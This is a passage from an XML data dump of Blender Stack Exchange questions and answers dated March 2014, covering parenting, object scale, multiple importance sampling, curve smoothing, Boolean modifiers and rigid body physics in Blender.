  <row Id="8149" PostTypeId="2" ParentId="8146" CreationDate="2014-03-29T17:42:14.050" Score="9" Body="&lt;p&gt;Select the parent object, then use &lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;G&lt;/kbd&gt; &lt;em&gt;&gt; Children&lt;/em&gt; to select all the children automatically.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can then remove the parent-child relationships acting upon all selected objects by pressing &lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;P&lt;/kbd&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See the &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modeling/Objects/Groups_and_Parenting&quot;&gt;official docs&lt;/a&gt; on parenting&lt;/p&gt;&#xA;" OwnerUserId="41" LastEditorUserId="2801" LastEditDate="2014-03-29T20:06:14.243" LastActivityDate="2014-03-29T20:06:14.243" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="8152" PostTypeId="1" CreationDate="2014-03-29T19:04:25.990" Score="15" ViewCount="15323" Body="&lt;p&gt;What is multiple importance sample option.&#xA;And the main question is Can It be simulated via OSL shader or in particular glossy shader?&lt;/p&gt;&#xA;" OwnerUserId="2439" LastActivityDate="2015-11-19T15:26:04.263" Title="What is multiple importance sample option" Tags="&lt;rendering&gt;&lt;osl&gt;" AnswerCount="1" CommentCount="3" FavoriteCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="8153" PostTypeId="1" AcceptedAnswerId="8154" CreationDate="2014-03-29T19:04:53.937" Score="3" ViewCount="328" Body="&lt;p&gt;So I have the display measurements addon enabled (I think- I was tremendously ill around the time it happened so I don't quite remember but afaik blender doesn't have native support for edge length displays so I presume that's what happened)(Edit: Apparently it does, thank you Gandalf3) and while trying to texture a mesh I came across this problem:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/r1RmL.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This happens regardless of what I set the measurement standard to be: the x and y edges of this mesh are always 1/20th of the equivalent z length. Why is this happening? The UV unwrapper interprets the problem in real space but I have imported the exported mesh into Unity with no sudden drastic alterations in size.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's difficult for me to draw up a texture for the UV when this is happening so I'd rather like to know what's going on.&lt;/p&gt;&#xA;" OwnerUserId="2960" LastEditorUserId="2960" LastEditDate="2014-03-29T19:20:32.943" LastActivityDate="2014-03-29T22:23:18.270" Title="Different axes using completely different measurement scales?" Tags="&lt;mesh&gt;&lt;measurement&gt;" AnswerCount="2" CommentCount="1" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8154" PostTypeId="2" ParentId="8153" CreationDate="2014-03-29T20:39:46.503" Score="3" Body="&lt;p&gt;Measurement scales are always the same, the units used for display are chosen based on the the length being displayed, eg. you will see 10mm not 0.01m.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem you show is from an object that was scaled in object mode. &lt;a href=&quot;https://blender.stackexchange.com/q/7298/935&quot;&gt;This question&lt;/a&gt; can give some more insight into other issues with object scales.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you have a mesh object and an edge in that mesh is 1 metre long directly along the x axis, the object scale is then applied to the mesh which means it might be visually measured at 0.2 metre in length.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Below you can see a default cube that has been scaled on the y axis in object mode and then scaled again in edit mode. Each edge is the same length as you would expect from a cube, the object scale is then applied to give a very rectangular appearance to the drawn cube.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/GVdHP.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The solution is to apply the scale to the object while in object mode - &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;A&lt;/kbd&gt; and select Scale.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/dU1P0.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="935" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:45.513" LastActivityDate="2014-03-29T20:39:46.503" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8156" PostTypeId="2" ParentId="8152" CreationDate="2014-03-29T21:44:37.137" Score="16" Body="&lt;p&gt;Multiple importance sample (MIS) basically helps guide rays towards light sources, reducing noise&lt;/p&gt;&#xA;&lt;p&gt;MIS only applies if the material has an emission node. (world materials and lamps behave a little differently).&lt;/p&gt;&#xA;&lt;p&gt;From &lt;a href=&quot;http://www.blender.org/manual/render/cycles/settings/integrator.html#material-settings&quot; rel=&quot;noreferrer&quot;&gt;the wiki&lt;/a&gt;:&lt;/p&gt;&#xA;&lt;h2&gt;Material&lt;/h2&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;By default objects with emitting materials use both direct and indirect light sampling methods, but in some cases it may lead to less noise overall to disable direct light sampling for some materials. This can be done by disabling the Multiple Importance Sample option. This is especially useful on large objects that emit little light compared to other light sources.&lt;/p&gt;&#xA;&lt;p&gt;This option will only have an influence if the material contains an emission node; it will be automatically disabled otherwise.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;Here's an example with a bright light source (a sphere) and a weak light source (a plane above the scene, you can see it reflected in the seconds sphere)&lt;/p&gt;&#xA;&lt;p&gt;Without MIS on the low strength plane:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/LMPJB.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;With MIS on the low strength plane:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/rkFFb.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;The bright sphere has MIS enabled in both examples. The second example seems to have slightly more noise (look at the shadow of the second sphere and the reflection of the floor plane)&lt;/p&gt;&#xA;&lt;h2&gt;World&lt;/h2&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;By default lighting from the world is computed solely with indirect light sampling. However for more complex environment maps this can be too noisy, as sampling the BSDF may not easily find the highlights in the environment map image. By enabling this option, the world background will be sampled as a lamp, with lighter parts automatically given more samples.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;Without MIS:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/daJ9t.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;With MIS:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/D7xyr.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;The wiki really says it all here.&lt;/p&gt;&#xA;&lt;h2&gt;Lamp&lt;/h2&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;By default lamps use only direct light sampling. For area lights and sharp glossy reflections, however, this can be noisy, and enabling this option will enable indirect light sampling to be used in addition to reduce noise.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;Without MIS only rays that bounce directly to the lamp are sampled (camera &amp;gt; surface &amp;gt; lamp):&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/01dYL.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;With MIS rays that bounce indirectly are sampled too (e.g. camera &amp;gt; surface &amp;gt; surface &amp;gt; lamp):&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/fjAv5.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2015-11-19T15:26:04.263" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8157" PostTypeId="1" AcceptedAnswerId="8176" CreationDate="2014-03-29T21:59:53.817" Score="11" ViewCount="2349" Body="&lt;p&gt;I have a tube that has too many edge rings. I would like to reduce them with a 10:1 ratio or something similar. When I try and use a decimate modifier I get bad topology. Is there a non-manual way to do this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/N4wPo.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1476" LastActivityDate="2015-12-22T18:56:15.440" Title="Reduce number of edge rings" Tags="&lt;modeling&gt;" AnswerCount="2" CommentCount="1" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="8158" PostTypeId="2" ParentId="8157" CreationDate="2014-03-29T22:15:38.123" Score="0" Body="&lt;p&gt;Try using the dissolve tool... its available in the same menu as the delete options...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1: select edge/vert&#xA;2: press &lt;kbd&gt;X&lt;/kbd&gt;&#xA;3: select your dissolve option&lt;/p&gt;&#xA;&#xA;&lt;p&gt;this basically deletes the selected edge/vert without affecting the geometry around it (ie: remove an edge without deleting the connected faces and thereby joining them)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;sorry I can't find a single step (automated) way to do this... &lt;/p&gt;&#xA;&#xA;&lt;p&gt;related docs:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wiki.blender.org/index.php/Dev:Ref/Release_Notes/2.63/BMesh&quot; rel=&quot;nofollow&quot;&gt;http://wiki.blender.org/index.php/Dev:Ref/Release_Notes/2.63/BMesh&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2801" LastEditorUserId="3401" LastEditDate="2015-12-22T18:56:15.440" LastActivityDate="2015-12-22T18:56:15.440" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8159" PostTypeId="2" ParentId="8153" CreationDate="2014-03-29T22:23:18.270" Score="1" Body="&lt;p&gt;In the Editmode Transform panel (right hand region). Enable the global option. Then all measurements will be displayed with object transformation applied.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ymMIV.png&quot; alt=&quot;use global coordinates&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2014-03-29T22:23:18.270" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8160" PostTypeId="1" AcceptedAnswerId="8193" CreationDate="2014-03-29T22:27:39.677" Score="8" ViewCount="5328" Body="&lt;p&gt;Are there any special considerations to be made when using Blender in Linux over Windows? Specifically Ubuntu?&lt;/p&gt;&#xA;" OwnerUserId="2801" LastEditorUserId="1112" LastEditDate="2014-03-29T22:51:38.380" LastActivityDate="2016-07-25T16:23:10.103" Title="Are there any special considerations for using Blender on Linux?" Tags="&lt;linux&gt;" AnswerCount="2" CommentCount="7" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8161" PostTypeId="1" AcceptedAnswerId="8163" CreationDate="2014-03-29T22:28:04.090" Score="2" ViewCount="1692" Body="&lt;p&gt;I have converted an edge loop to a curve. The edge loop itself was fairly low poly. I want the curve to look smooth so I tried to increase the resolution of it but it looks exactly the same.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Nvun0.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way I can get the curve to be a smooth interpolation of the edge loop?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;http://www.pasteall.org/blend/28013&quot; rel=&quot;nofollow noreferrer&quot;&gt;blende file&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="1476" LastActivityDate="2014-03-29T22:46:28.047" Title="Curve very sharp after converting from mesh" Tags="&lt;modeling&gt;&lt;bezier-curves&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8162" PostTypeId="2" ParentId="8161" CreationDate="2014-03-29T22:39:40.433" Score="1" Body="&lt;p&gt;After converting the mesh to a curve, go into edit mode, then in the Modeling section of the Tools tab, click on Smooth several times.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/qYIGV.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2173" LastActivityDate="2014-03-29T22:39:40.433" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8163" PostTypeId="2" ParentId="8161" CreationDate="2014-03-29T22:39:53.297" Score="3" Body="&lt;p&gt;This is because the converted curve is a &lt;em&gt;Poly&lt;/em&gt; spline.&lt;/p&gt;&#xA;&lt;p&gt;To convert it to a smoothly interpolated curve:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Convert it to a Bezier or NURBS spline in &lt;em&gt;3D view &amp;gt; Tool shelf &amp;gt; Curve Tools &amp;gt; Set Spline Type&lt;/em&gt;:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/nVW7N.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Then convert all the Control Vertices to &lt;em&gt;Auto&lt;/em&gt; (or something besides &lt;em&gt;vector&lt;/em&gt;) by pressing &lt;kbd&gt;A&lt;/kbd&gt;&lt;em&gt;&amp;gt; Select all&lt;/em&gt; &lt;kbd&gt;V&lt;/kbd&gt;&lt;em&gt;&amp;gt; Automatic&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;Now you can adjust the &lt;em&gt;Resolution&lt;/em&gt; as desired to adjust the &amp;quot;smoothness&amp;quot;:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/0rJ43.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2014-03-29T22:46:28.047" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8164" PostTypeId="1" AcceptedAnswerId="8165" CreationDate="2014-03-29T23:47:45.197" Score="6" ViewCount="4184" Body="&lt;p&gt;Can you bake the animation created from a driver to keyframes?&lt;/p&gt;&#xA;" OwnerUserId="1112" LastEditorUserId="2217" LastEditDate="2014-03-31T01:33:24.760" LastActivityDate="2014-03-31T01:33:24.760" Title="Bake driver to keyframes" Tags="&lt;animation&gt;&lt;drivers&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8165" PostTypeId="2" ParentId="8164" CreationDate="2014-03-29T23:53:54.583" Score="8" Body="&lt;p&gt;Select the object and press &lt;em&gt;Bake Action&lt;/em&gt; in &lt;em&gt;3D view &gt; Header &gt; Object&lt;/em&gt; (or &lt;em&gt;Pose&lt;/em&gt; if you are baking an armature from pose mode) &lt;em&gt;&gt; Animation&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/JJ1SI.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2014-03-29T23:53:54.583" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8166" PostTypeId="2" ParentId="8118" CreationDate="2014-03-30T00:18:38.253" Score="1" Body="&lt;p&gt;From your question, I think you have one large plane pointing straight down as your light. If that is the case there in lies your problem. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Move your light off axis. If you want your shadow to be in the same place as the shaded preview, then move it along the -&lt;code&gt;X&lt;/code&gt; axis and towards the camera. Next rotate the light towards your ground object. Now, if the light is a a low enough angle, each hump will cast a shadow. (your text will also, but that is a different issue)&lt;/p&gt;&#xA;" OwnerUserId="2217" LastActivityDate="2014-03-30T00:18:38.253" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8167" PostTypeId="1" CreationDate="2014-03-30T01:03:47.643" Score="6" ViewCount="4121" Body="&lt;p&gt;By hitting &lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;P&lt;/kbd&gt; in the 3D View Window, I can clear the parent relationship.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But then I lose the animation endowed to my object by the parent object.  How can I clear an object's parent, but keep the same animation?&lt;/p&gt;&#xA;" OwnerUserId="1112" LastEditorUserId="2217" LastEditDate="2015-03-03T21:44:50.523" LastActivityDate="2016-02-18T10:39:52.150" Title="Clear parent relationship, but keep animation" Tags="&lt;animation&gt;&lt;objects&gt;&lt;parent&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8168" PostTypeId="1" AcceptedAnswerId="8174" CreationDate="2014-03-30T01:17:28.217" Score="2" ViewCount="1298" Body="&lt;p&gt;I added textures to a minecraft character, but I realized I forgot the holes for the eyes. So I used a boolean modifier to make the holes, but it was unsuccessful. The holes appear except the texture wrap becomes messy and doesn't go around my character properly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Without Boolean modifier&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/UqvKK.png&quot; alt=&quot;Without Boolean&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With Boolean modifier&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/Ob7Z6.png&quot; alt=&quot;With Boolean&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1829" LastEditorUserId="2217" LastEditDate="2016-12-29T17:59:29.657" LastActivityDate="2016-12-29T17:59:29.657" Title="Using Boolean Wraps texture awkwardly" Tags="&lt;texturing&gt;&lt;modifiers&gt;" AnswerCount="1" CommentCount="10" ContentLicense="CC BY-SA 3.0" />
  <row Id="8169" PostTypeId="1" AcceptedAnswerId="8175" CreationDate="2014-03-30T01:43:33.890" Score="6" ViewCount="11101" Body="&lt;p&gt;I have a problem where I used physics to position a bunch of meshes in Blender and when I try to set the current frame to 0 it resets the position of the meshes that have been positioned with the use of physics.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the &lt;a href=&quot;http://www.pasteall.org/blend/28020&quot; rel=&quot;noreferrer&quot;&gt;blend file&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is what the positioning looks like (Frame 300):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/plE0m.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is what the positioning looks like after I try to set to frame 0 (Frame 0):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/o8XUB.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2962" LastEditorUserId="2173" LastEditDate="2014-03-31T00:21:17.883" LastActivityDate="2014-03-31T01:14:52.987" Title="Using rigid body physics to set objects' initial positions" Tags="&lt;animation&gt;&lt;physics&gt;" AnswerCount="2" CommentCount="13" FavoriteCount="2" ClosedDate="2014-03-31T06:38:16.683" ContentLicense="CC BY-SA 3.0" />
  <row Id="8170" PostTypeId="5" CreationDate="2014-03-30T02:04:46.897" Score="0" Body="&lt;p&gt;The VSE at the &lt;a href=&quot;https://docs.blender.org/manual/en/2.79/editors/vse/index.html#video-sequence-editor&quot; rel=&quot;nofollow noreferrer&quot;&gt;Blender Manual&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2217" LastEditorUserId="15924" LastEditDate="2020-10-21T03:56:07.023" LastActivityDate="2020-10-21T03:56:07.023" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="8171" PostTypeId="4" CreationDate="2014-03-30T02:04:46.897" Score="0" Body="The video sequence editor is blender's NLEs (non-linear editing system). The VSE is a timeline-based video editor in blender. " OwnerUserId="2217" LastEditorUserId="2217" LastEditDate="2014-03-30T02:32:36.703" LastActivityDate="2014-03-30T02:32:36.703" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8172" PostTypeId="2" ParentId="8167" CreationDate="2014-03-30T02:12:38.267" Score="10" Body="&lt;p&gt;Select the child object, and in the 3D View header, go to &lt;code&gt;Object&lt;/code&gt; &gt; &lt;code&gt;Animation&lt;/code&gt; &gt; &lt;code&gt;Bake Action&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the pop-up dialogue, enable &lt;code&gt;Clear Parents&lt;/code&gt;, then hit &lt;code&gt;OK&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="1112" LastActivityDate="2014-03-30T02:12:38.267" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8173" PostTypeId="1" CreationDate="2014-03-30T02:31:55.597" Score="1" ViewCount="1003" Body="&lt;p&gt;I want to make scenes with cannons and rockets firing, however I noticed for either of these particles systems just don't look right. either they look fluffy and cartoony, or if using the smoke sim the flame and smoke simply don't form the right shape and often fails to generate inexplicably. what settings should I consider when trying to simulated puffs and directed jets?&lt;/p&gt;&#xA;" OwnerUserId="1911" LastActivityDate="2014-03-30T02:31:55.597" Title="how to render smoke from gunshots,rockets?" Tags="&lt;particles&gt;&lt;smoke-simulation&gt;" AnswerCount="0" CommentCount="4" ClosedDate="2014-03-30T19:24:28.110" ContentLicense="CC BY-SA 3.0" />
  <row Id="8174" PostTypeId="2" ParentId="8168" CreationDate="2014-03-30T03:17:25.087" Score="4" Body="&lt;p&gt;I don't know why your head object is acting so strangely with the Boolean modifier. The proper setting for the Boolean is &quot;Intersect&quot; in order to get the cubes to cut holes in the head:  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/QcpsC.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, I don't know why the body disappears. So, here is a work-around:  &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;First, delete the back vertices of the cubes you're going to use to cut out the eye holes so they are just rectangles, like this:  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/P0KHe.gif&quot; alt=&quot;enter image description here&quot;&gt;  &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Then go into Front Ortho view (front view with &lt;kbd&gt;Numpad 1&lt;/kbd&gt;, ortho view with &lt;kbd&gt;Numpad 5&lt;/kbd&gt;):  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/gfrFg.gif&quot; alt=&quot;enter image description here&quot;&gt;  &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Now first select the rectangles, then hold down &lt;kbd&gt;SHIFT&lt;/kbd&gt; and also select the player, so that both are selected together. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Now, press &lt;kbd&gt;TAB&lt;/kbd&gt; to go into Edit mode, then in the Tools panel, in the Tools tab, click on Knife Project:  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/E3Yv1.gif&quot; alt=&quot;enter image description here&quot;&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This will cut holes in the face of the player. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Now select the vertices of the newly-made eye sockets and extrude them back along the Y axis:  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/E7sl1.gif&quot; alt=&quot;enter image description here&quot;&gt;  &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Now select the back-most vertices of one eye socket and then press &lt;kbd&gt;F&lt;/kbd&gt; to make a face there. Then do the same thing for the other eye socket:  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/oACHK.gif&quot; alt=&quot;enter image description here&quot;&gt;  &lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="2173" LastEditorUserId="2173" LastEditDate="2014-03-30T23:10:26.037" LastActivityDate="2014-03-30T23:10:26.037" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8175" PostTypeId="2" ParentId="8169" CreationDate="2014-03-30T04:01:04.007" Score="4" Body="&lt;p&gt;The objects' positions get reset because, by clicking on frame 0, you are &quot;going back in time&quot; to the beginning of the animation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To use the rigid body physics to set the initial positions to be what they are at frame 300, here's one method:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Select all of the objects involved in the rigid body physics simulation&lt;/li&gt;&#xA;&lt;li&gt;Bake to Keyframes (in 3D View window, hit &lt;kbd&gt;T&lt;/kbd&gt;, then select &lt;code&gt;Physics&lt;/code&gt; &gt; &lt;code&gt;Bake to Keyframes&lt;/code&gt;)&lt;/li&gt;&#xA;&lt;li&gt;Still with all the objects selected, open the Graph Editor&lt;/li&gt;&#xA;&lt;li&gt;All the keyframes should be selected already.  If not, hit &lt;kbd&gt;A&lt;/kbd&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Move keyframes back 300 frames (&lt;kbd&gt;G&lt;/kbd&gt;&lt;kbd&gt;x&lt;/kbd&gt;&lt;kbd&gt;-&lt;/kbd&gt;&lt;kbd&gt;3&lt;/kbd&gt;&lt;kbd&gt;0&lt;/kbd&gt;&lt;kbd&gt;0&lt;/kbd&gt;).&lt;/li&gt;&#xA;&lt;li&gt;Erase all keyframes (&lt;kbd&gt;Delete&lt;/kbd&gt;&lt;kbd&gt;Enter&lt;/kbd&gt;).&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="1112" LastActivityDate="2014-03-30T04:01:04.007" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8176" PostTypeId="2" ParentId="8157" CreationDate="2014-03-30T06:20:52.057" Score="8" Body="&lt;p&gt;In the upcoming 2.71 release there is a better way to achieve this.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Select edge ring (Ctrl+Alt+RMB)&lt;/li&gt;&#xA;&lt;li&gt;Checker De-deselect, &lt;em&gt;See note below!&lt;/em&gt;&lt;/li&gt;&#xA;&lt;li&gt;Select -&gt; Edge Loops&lt;/li&gt;&#xA;&lt;li&gt;Mesh -&gt; Delete -&gt; Edge Loops&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Note:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;In 2.71 support has been added to deselect alternate edge-ring, See: &lt;a href=&quot;https://developer.blender.org/T40324&quot; rel=&quot;noreferrer&quot;&gt;https://developer.blender.org/T40324&lt;/a&gt;&#xA;This is detected automatically.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Previous answer, obsoleted by the method above&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is possible but a little cumbersome&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;In vertex mode select a loop running along the length&lt;/li&gt;&#xA;&lt;li&gt;Select -&gt; Checker De-seelct&lt;/li&gt;&#xA;&lt;li&gt;Hide&lt;/li&gt;&#xA;&lt;li&gt;Set edge mode&lt;/li&gt;&#xA;&lt;li&gt;Unhide&lt;/li&gt;&#xA;&lt;li&gt;Deselect the vertical loop&lt;/li&gt;&#xA;&lt;li&gt;Select -&gt; Edge Loop&lt;/li&gt;&#xA;&lt;li&gt;Mesh -&gt; Delete -&gt; Edge Loop&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/13b3X.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Footnote, it may be worth adding a &lt;strong&gt;skip&lt;/strong&gt; option to edge-ring select, which would make this only 2 steps.&lt;/p&gt;&#xA;" OwnerUserId="55" LastEditorUserId="55" LastEditDate="2014-05-29T05:22:46.837" LastActivityDate="2014-05-29T05:22:46.837" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="8177" PostTypeId="1" CreationDate="2014-03-30T09:19:34.887" Score="1" ViewCount="673" Body="&lt;p&gt;I'm a complete newbie and was wondering if I had set up something wrong.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I used the 20th Century fox blend and successfully rendered 600 jpg images. Looking good, except that about 30% images have a corrupt T in &quot;Century&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've spent several hours going through about 200 frames trying to smooth the error out with Gimp. Just wondering what cause the fault and if there is any way to correct it a bit quicker..&#xA;&lt;img src=&quot;https://i.stack.imgur.com/dSFtl.jpg&quot; alt=&quot;Little t bad&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/0Ifbk.jpg&quot; alt=&quot;Big T bad&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2965" LastEditorUserId="2965" 